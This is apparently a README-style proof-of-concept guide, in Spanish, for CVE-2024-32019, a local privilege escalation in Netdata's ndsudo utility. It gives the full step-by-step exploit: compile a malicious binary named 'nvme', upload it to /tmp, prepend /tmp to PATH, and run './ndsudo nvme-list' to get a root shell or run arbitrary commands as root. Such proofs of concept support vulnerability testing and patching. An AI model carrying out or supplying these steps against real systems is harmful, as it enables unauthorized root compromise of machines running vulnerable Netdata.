
PoC para la vulnerabilidad ndsudo de Netdata - CVE-2024-32019
ndsudo (Exploit Local de Netdata)Este POC se utiliza para explotar una utilidad ndsudo vulnerable incluida con Netdata y escalar privilegios locales a root. El exploit funciona inyectando un binario malicioso en el PATH del usuario que se hace pasar por un comando de confianza (nvme) y es ejecutado con privilegios de root por ndsudo.
Tienes acceso local a la shell en el sistema objetivo.
Puedes ejecutar el siguiente comando pero falla con un error "no encontrado" o similar:
./ndsudo nvme-list
En tu máquina atacante (o en el sistema vulnerable si tiene un compilador), compila el binario (por ejemplo, desde el archivo poc.c en el repositorio):
gcc poc.c -o nvme
Este binario debe estar diseñado para generar una shell de root o ejecutar comandos arbitrarios con privilegios de root.
Mueve o sube el binario nvme compilado a un directorio escribible por tu usuario, como /tmp:
scp nvme user@target:/tmp/
# or use any file upload method you have
En el sistema objetivo, asegúrate de que el binario sea ejecutable y antepón su directorio a tu PATH:
chmod +x /tmp/nvme
export PATH=/tmp:$PATH
Esto asegura que ndsudo resolverá y ejecutará tu nvme malicioso en lugar del legítimo.
ndsudo para Ejecutar tu PayloadEjecuta el comando vulnerable para activar ndsudo:
./ndsudo nvme-list